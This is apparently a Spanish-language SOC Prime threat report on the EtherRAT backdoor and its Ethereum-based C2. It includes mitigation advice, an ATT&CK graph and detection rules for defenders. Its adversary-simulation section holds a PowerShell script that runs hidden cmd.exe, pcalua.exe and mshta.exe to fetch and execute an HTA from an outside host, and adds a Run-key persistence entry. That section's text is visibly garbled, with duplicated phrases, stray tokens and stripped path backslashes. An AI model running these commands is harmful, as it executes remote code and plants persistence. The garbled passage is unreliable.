SOC Prime Bias: Crítico

06 Abr 2026 17:47

EtherRAT y Módulo SYS_INFO: C2 en Ethereum (EtherHiding), Selección de Objetivos, Balizas Tipo CDN

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
EtherRAT y Módulo SYS_INFO: C2 en Ethereum (EtherHiding), Selección de Objetivos, Balizas Tipo CDN
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

EtherRAT es un backdoor de Node.js que resuelve sus puntos de fin de comando y control desde contratos inteligentes de Ethereum utilizando un enfoque de ‘EtherHiding’. Se mezcla con el tráfico web normal al configurar pulsos para que parezcan solicitudes benignas de CDN, mientras apunta a datos de alto valor, como billeteras de criptomonedas y credenciales en la nube. El acceso inicial comúnmente se impulsa por ingeniería social estilo ClickFix o señuelos de soporte técnico falso que desencadenan la ejecución maliciosa de HTA a través de pcalua.exe y mshta.exe.

Investigación

La Unidad de Respuesta a Amenazas de eSentire observó una cadena de carga de múltiples etapas que incluye un flujo de trabajo de descifrado AES-256-CBC, persistencia a través de un valor de registro HKCU Run, y un módulo SYS_INFO responsable de la elaboración de perfiles de host amplios. EtherRAT se comunica con múltiples proveedores públicos de RPC de Ethereum para localizar el contrato inteligente relevante, luego deriva URLs tipo CDN y los consulta para tareas y comandos de seguimiento, reforzando su disfraz de ‘tráfico legítimo’.

Mitigación

Utilice AppLocker o WDAC para bloquear o controlar estrictamente pcalua.exe y mshta.exe, y restrinja el diálogo de Windows Run a través de la Política de Grupo. Donde sea posible, limite o bloquee el acceso a la infraestructura de RPC de criptomonedas públicas conocidas y alerte sobre el uso inesperado de RPC de Ethereum desde puntos de salida que no lo requieran. Despliegue controles de punto final que puedan detectar backdoors basados en Node.js y monitoree patrones anormales de pulsos que imitan el comportamiento de obtención de CDN hacia los dominios identificados.

Respuesta

Si se detecta actividad de EtherRAT, aísle el punto final, termine el proceso en ejecución y elimine la entrada de persistencia de HKCU Run junto con cualquier artefacto colocado. Realice un barrido forense completo para confirmar que no se escenificaron cargas útiles adicionales y rote las credenciales expuestas, priorizando los secretos de billeteras de criptomonedas y las claves de servicios en la nube. Expanda la búsqueda en todo el entorno para consultar comportamientos similares de Ethereum-RPC y pulsos similares a CDN para delimitar una propagación potencial.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Technique</b> – <b>T1218.005 System Binary Proxy Execution</b><br/>pcalua.exe launches mshta.exe to download and execute malicious HTA"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Technique</b> – <b>T1202 Indirect Command Execution</b><br/>Obfuscates command line to invoke other binaries"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Technique</b> – <b>T1059.003 Command and Scripting Interpreter: Windows Command Shell</b><br/>Runs PowerShell and reg commands for fingerprinting"] class tech_cmd_shell technique tech_persistence["<b>Technique</b> – <b>T1546.007 Netsh Helper DLL</b> and <b>T1037.004 RC Scripts</b><br/>Creates HKCU Run key launching conhost.exe headless node.exe"] class tech_persistence technique tech_defense_evasion["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b> with subu2011techniques Polymorphic Code, Dynamic API Resolution, Embedded Payloads, Deobfuscate/Decode"] class tech_defense_evasion technique tech_c2_resolver["<b>Technique</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Retrieves C2 address from an Ethereum smart contract"] class tech_c2_resolver technique tech_c2_comm["<b>Technique</b> – <b>T1102 Web Service</b> with bidirectional (T1102.002) and oneu2011way (T1102.003) communication<br/>HTTPS requests mimic CDN traffic"] class tech_c2_comm technique tech_collection["<b>Technique</b> – <b>T1602.002 Network Device Configuration Dump</b><br/>Collects OS, hardware, network, AV, crypto wallet files and cloud credentials"] class tech_collection technique tech_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Sends collected data back through the same HTTPS channel"] class tech_exfiltration technique tech_impact_hijack["<b>Technique</b> – <b>T1496.001 Compute Hijacking</b><br/>Steals cryptocurrency wallet files"] class tech_impact_hijack technique tech_impact_cloud["<b>Technique</b> – <b>T1537 Transfer Data to Cloud Account</b><br/>Uploads credentials to cloud storage"] class tech_impact_cloud technique tech_software_ext["<b>Technique</b> – <b>T1176 Software Extensions</b> and <b>T1505.004 IIS Components</b><br/>Downloads Node.js runtime and additional modules"] class tech_software_ext technique tech_lateral["<b>Technique</b> – <b>T1080 Taint Shared Content</b><br/>Downloads further payloads/modules from remote servers"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Tool</b> – <b>Name</b>: pcalua.exe<br/><b>Description</b>: Windows Update Standalone Installer used as a proxy"] class tool_pcalua tool tool_cmd["<b>Tool</b> – <b>Name</b>: cmd.exe<br/><b>Description</b>: Windows command shell with caret obfuscation"] class tool_cmd tool tool_ethereum["<b>Tool</b> – <b>Name</b>: Ethereum RPC provider<br/><b>Description</b>: Public RPC endpoints used to query the smart contract"] class tool_ethereum tool tool_nodejs["<b>Tool</b> – <b>Name</b>: Node.js runtime<br/><b>Description</b>: Executes additional modules downloaded from C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Process</b> – <b>Name</b>: mshta.exe<br/><b>Description</b>: Executes HTA files"] class process_mshta process process_powershell["<b>Process</b> – <b>Name</b>: powershell.exe<br/><b>Description</b>: Runs PowerShell scripts for system fingerprinting"] class process_powershell process process_conhost["<b>Process</b> – <b>Name</b>: conhost.exe<br/><b>Description</b>: Host process used to launch headless node.exe"] class process_conhost process process_https["<b>Process</b> – <b>Name</b>: HTTPS client<br/><b>Description</b>: Sends requests such as /api/<hex>/<UUID>.ico mimicking CDN traffic"] class process_https process process_remote_download["<b>Process</b> – <b>Name</b>: downloader<br/><b>Description</b>: Retrieves additional payloads from remote servers"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Name</b>: Obfuscator.io generated payload<br/><b>Description</b>: AESu2011256u2011CBC encrypted stages with polymorphic code"] class malware_obfuscator malware %% Connections tech_initial_access –>|uses| tool_pcalua tool_pcalua –>|launches| process_mshta process_mshta –>|downloads| "shep.hta" tech_initial_access –>|leads to| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|uses| tool_cmd tool_cmd –>|invokes| process_powershell process_powershell –>|executes| tech_cmd_shell tech_cmd_shell –>|enables| tech_persistence tech_persistence –>|creates| process_conhost process_conhost –>|launches| tool_nodejs tech_defense_evasion –>|applies to| malware_obfuscator malware_obfuscator –>|provides payload for| tool_nodejs tech_c2_resolver –>|retrieves address via| tool_ethereum tool_ethereum –>|queries| "Ethereum smart contract" tech_c2_comm –>|communicates over| process_https process_https –>|transfers data to| tech_collection tech_collection –>|data exfiltrated via| tech_exfiltration tech_exfiltration –>|delivers to| tech_impact_hijack tech_exfiltration –>|delivers to| tech_impact_cloud tech_software_ext –>|downloads| tool_nodejs tool_nodejs –>|enables| tech_lateral tech_lateral –>|downloads| process_remote_download "

Flujo de Ataque

Detecciones

LOLBAS Pcalua (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Procesos de Lolbin Creando Archivos (a través de file_event)

Equipo de SOC Prime
01 abr 2026

MsiExec Generado por Proceso de Shell (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

LOLBAS Conhost (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Comportamiento de Evasión de Defensa de MSHTA de LOLBAS Detectado por Comandos Asociados (a través de process_creation)

Equipo de SOC Prime
01 abr 2026

Posible Intento de Comunicación de Dominio de Búsqueda de IP (a través de dns)

Equipo de SOC Prime
01 abr 2026

Posible Enumeración o Manipulación de Cuenta o Grupo (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Uso Sospechoso de CURL (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Detección Probable del Entorno de Virtualización de Windows Usando WMI (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Posibles Puntos de Persistencia [ASEPs – Software/NTUSER Hive] (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Posibles Comprobaciones de Evasión (a través de powershell)

Equipo de SOC Prime
01 abr 2026

Posible Ofuscación de CommandLine Usando la Inserción de Acentos (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

Posible Enumeración de Software Antivirus o Firewall (a través de process_creation)

Equipo de SOC Prime
01 abr 2026

Descubrimiento de Información del Sistema Linux (a través de cmdline)

Equipo de SOC Prime
01 abr 2026

IOCs (SourceIP) para detectar: EtherRAT y Módulo SYS_INFO: C2 en Ethereum (EtherHiding), Selección de Objetivo, Pulsos Tipo CDN

Reglas AI de SOC Prime
01 abr 2026

IOCs (DestinationIP) para detectar: EtherRAT y Módulo SYS_INFO: C2 en Ethereum (EtherHiding), Selección de Objetivo, Pulsos Tipo CDN

Reglas AI de SOC Prime
01 abr 2026

IOCs (HashSha256) para detectar: EtherRAT y Módulo SYS_INFO: C2 en Ethereum (EtherHiding), Selección de Objetivo, Pulsos Tipo CDN

Reglas AI de SOC Prime
01 abr 2026

Detectar Acceso Inicial de EtherRAT vía ClickFix y Ejecución Indirecta de Comandos [Creación de Proceso de Windows]

Reglas AI de SOC Prime
01 abr 2026

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Línea Base Previa debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa de Ataque y Comandos:

    1. Acceso Inicial – Instalador de ClickFix: El atacante aprovecha un instalador malicioso de ClickFix que ejecuta un cmd.exe oculto que llama a pcalua.exe.
    2. Ejecución Indirecta: pcalua.exe se instruye para lanzar mshta.exe contra un archivo HTA remoto alojado en https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Este script HTA carga el payload de EtherRAT.
    3. Configuración de Persistencia: El dropper agrega un valor de registro bajo Run apuntando a una cadena de ejecución de apuntando a una cadena de ejecución de , asegurando que el malware se inicie al iniciar sesión del usuario. , asegurando que el malware se inicie al iniciar sesión del usuario., asegurando que el malware se inicie al iniciar sesión del usuario. Reconocimiento de Dominio:
    4. En paralelo, se ejecuta una línea de comando PowerShell para leer el nombre de dominio de la máquina, señalando al atacante que el host está unido al dominio. Las tres líneas de comando se ejecutan desde un

    603c5946 cmd.exe instancia oculta, coincidiendo con la regla Sigma combinación./indicator2 or indicador1 indicador2

  • indicador3 El siguiente script reproduce las líneas de comando exactas (las rutas específicas del usuario se resuelven a través de variables de entorno).

    # -------------------------------------------------------------
    # Simulación de Acceso Inicial de EtherRAT – Envoltura de PowerShell
    # -------------------------------------------------------------
    $username = $env:USERNAME
    $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    $conhostPath = "$env:WINDIRSystem32conhost.exe"
    $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
    $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
    
    # 1. Indicador 1 – pcalua -> mshta
    $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
    
    # 2. Indicador 2 – Clave de registro Run con cadena conhost
    $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
    $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
    
    # 3. Indicador 3 – Consulta de dominio en PowerShell
    $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
    $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
    
    Write-Host "`n[+] Comandos de simulación emitidos. Verifique el SIEM para alertas coincidentes."
  • Comandos de Limpieza: Elimine la entrada del registro y borre cualquier archivo creado durante la simulación.

    # -------------------------------------------------------------
    # Limpieza – elimine la clave Run y los archivos temporales
    # -------------------------------------------------------------
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    
    # Elimine el valor de la clave Run
    if (Test-Path $runKeyPath) {
        Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
        Write-Host "[+] Valor del registro Run eliminado $runValueName"
    }
    
    # Elimine cualquier archivo residual (si se crearon)
    $paths = @(
        "$env:TEMPbenign.txt"               # de la línea base (opcional)
    )
    foreach ($p in $paths) {
        if (Test-Path $p) { Remove-Item $p -Force }
    }
    
    Write-Host "[+] Limpieza completa."